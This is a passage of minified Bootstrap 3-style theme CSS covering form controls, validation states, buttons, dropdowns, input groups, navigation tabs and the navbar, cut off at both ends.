#e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:11px;font-size:15px;line-height:1.42857143;color:#333333}.form-control{display:block;width:100%;height:43px;padding:10px 18px;font-size:15px;line-height:1.42857143;color:#333333;background-color:#ffffff;background-image:none;border:1px solid #cccccc;border-radius:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.form-control::-moz-placeholder{color:#999999;opacity:1}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#e6e6e6;opacity:1}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{line-height:43px}input[type="date"].input-sm,input[type="time"].input-sm,input[type="datetime-local"].input-sm,input[type="month"].input-sm,.input-group-sm input[type="date"],.input-group-sm input[type="time"],.input-group-sm input[type="datetime-local"],.input-group-sm input[type="month"]{line-height:31px}input[type="date"].input-lg,input[type="time"].input-lg,input[type="datetime-local"].input-lg,input[type="month"].input-lg,.input-group-lg input[type="date"],.input-group-lg input[type="time"],.input-group-lg input[type="datetime-local"],.input-group-lg input[type="month"]{line-height:64px}}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{min-height:21px;padding-left:20px;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-20px;margin-top:4px \9}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"].disabled,input[type="checkbox"].disabled,fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:11px;padding-bottom:11px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-left:0;padding-right:0}.input-sm{height:31px;padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}select.input-sm{height:31px;line-height:31px}textarea.input-sm,select[multiple].input-sm{height:auto}.form-group-sm .form-control{height:31px;padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}select.form-group-sm .form-control{height:31px;line-height:31px}textarea.form-group-sm .form-control,select[multiple].form-group-sm .form-control{height:auto}.form-group-sm .form-control-static{height:31px;padding:5px 10px;font-size:13px;line-height:1.5}.input-lg{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.input-lg{height:64px;line-height:64px}textarea.input-lg,select[multiple].input-lg{height:auto}.form-group-lg .form-control{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.form-group-lg .form-control{height:64px;line-height:64px}textarea.form-group-lg .form-control,select[multiple].form-group-lg .form-control{height:auto}.form-group-lg .form-control-static{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:53.75px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:43px;height:43px;line-height:43px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback{width:64px;height:64px;line-height:64px}.input-sm+.form-control-feedback{width:31px;height:31px;line-height:31px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline,.has-success.radio label,.has-success.checkbox label,.has-success.radio-inline label,.has-success.checkbox-inline label{color:#ffffff}.has-success .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-success .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#3fb618}.has-success .form-control-feedback{color:#ffffff}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline,.has-warning.radio label,.has-warning.checkbox label,.has-warning.radio-inline label,.has-warning.checkbox-inline label{color:#ffffff}.has-warning .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-warning .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#ff7518}.has-warning .form-control-feedback{color:#ffffff}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline,.has-error.radio label,.has-error.checkbox label,.has-error.radio-inline label,.has-error.checkbox-inline label{color:#ffffff}.has-error .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-error .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#ff0039}.has-error .form-control-feedback{color:#ffffff}.has-feedback label~.form-control-feedback{top:26px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:11px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:32px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}@media (min-width:768px){.form-horizontal .control-label{text-align:right;margin-bottom:0;padding-top:11px}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:24.9999994px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:10px 18px;font-size:15px;line-height:1.42857143;border-radius:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn:focus,.btn:active:focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn.active.focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus,.btn.focus{color:#ffffff;text-decoration:none}.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;pointer-events:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.btn-default{color:#ffffff;background-color:#222222;border-color:#222222}.btn-default:hover,.btn-default:focus,.btn-default.focus,.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{color:#ffffff;background-color:#090909;border-color:#040404}.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled.focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default.focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#222222;border-color:#222222}.btn-default .badge{color:#222222;background-color:#ffffff}.btn-primary{color:#ffffff;background-color:#2780e3;border-color:#2780e3}.btn-primary:hover,.btn-primary:focus,.btn-primary.focus,.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{color:#ffffff;background-color:#1967be;border-color:#1862b5}.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled.focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary.focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#2780e3;border-color:#2780e3}.btn-primary .badge{color:#2780e3;background-color:#ffffff}.btn-success{color:#ffffff;background-color:#3fb618;border-color:#3fb618}.btn-success:hover,.btn-success:focus,.btn-success.focus,.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{color:#ffffff;background-color:#2f8912;border-color:#2c8011}.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled.focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success.focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#3fb618;border-color:#3fb618}.btn-success .badge{color:#3fb618;background-color:#ffffff}.btn-info{color:#ffffff;background-color:#9954bb;border-color:#9954bb}.btn-info:hover,.btn-info:focus,.btn-info.focus,.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{color:#ffffff;background-color:#7e3f9d;border-color:#783c96}.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled.focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info.focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#9954bb;border-color:#9954bb}.btn-info .badge{color:#9954bb;background-color:#ffffff}.btn-warning{color:#ffffff;background-color:#ff7518;border-color:#ff7518}.btn-warning:hover,.btn-warning:focus,.btn-warning.focus,.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{color:#ffffff;background-color:#e45c00;border-color:#da5800}.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled.focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning.focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#ff7518;border-color:#ff7518}.btn-warning .badge{color:#ff7518;background-color:#ffffff}.btn-danger{color:#ffffff;background-color:#ff0039;border-color:#ff0039}.btn-danger:hover,.btn-danger:focus,.btn-danger.focus,.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{color:#ffffff;background-color:#cc002e;border-color:#c2002b}.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled.focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger.focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#ff0039;border-color:#ff0039}.btn-danger .badge{color:#ff0039;background-color:#ffffff}.btn-link{color:#2780e3;font-weight:normal;border-radius:0}.btn-link,.btn-link:active,.btn-link.active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#165ba8;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:13px;line-height:1.5;border-radius:0}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.in{opacity:1}.collapse{display:none;visibility:hidden}.collapse.in{display:block;visibility:visible}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height, visibility;-o-transition-property:height, visibility;transition-property:height, visibility;-webkit-transition-duration:0.35s;-o-transition-duration:0.35s;transition-duration:0.35s;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropup,.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:15px;text-align:left;background-color:#ffffff;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.15);border-radius:0;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);-webkit-background-clip:padding-box;background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9.5px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#ffffff;background-color:#2780e3}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#ffffff;text-decoration:none;outline:0;background-color:#2780e3}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999999}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:13px;line-height:1.42857143;color:#999999;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{left:auto;right:0}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-left:12px;padding-right:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-bottom-left-radius:0;border-top-right-radius:0;border-top-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{float:none;display:table-cell;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle="buttons"]>.btn input[type="radio"],[data-toggle="buttons"]>.btn-group>.btn input[type="radio"],[data-toggle="buttons"]>.btn input[type="checkbox"],[data-toggle="buttons"]>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*="col-"]{float:none;padding-left:0;padding-right:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:64px;line-height:64px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn,select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:31px;padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:31px;line-height:31px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn,select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:10px 18px;font-size:15px;font-weight:normal;line-height:1;color:#333333;text-align:center;background-color:#e6e6e6;border:1px solid #cccccc;border-radius:0}.input-group-addon.input-sm{padding:5px 10px;font-size:13px;border-radius:0}.input-group-addon.input-lg{padding:18px 30px;font-size:19px;border-radius:0}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{margin-bottom:0;padding-left:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#e6e6e6}.nav>li.disabled>a{color:#999999}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999999;text-decoration:none;background-color:transparent;cursor:not-allowed}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#e6e6e6;border-color:#2780e3}.nav .nav-divider{height:1px;margin:9.5px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #dddddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:0 0 0 0}.nav-tabs>li>a:hover{border-color:#e6e6e6 #e6e6e6 #dddddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555555;background-color:#ffffff;border:1px solid #dddddd;border-bottom-color:transparent;cursor:default}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #dddddd;border-radius:0 0 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#ffffff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:0}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#ffffff;background-color:#2780e3}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{text-align:center;margin-bottom:5px}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #dddddd;border-radius:0 0 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#ffffff}}.tab-content>.tab-pane{display:none;visibility:hidden}.tab-content>.active{display:block;visibility:visible}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:21px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:0}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{overflow-x:visible;padding-right:15px;padding-left:15px;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block !important;visibility:visible !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom 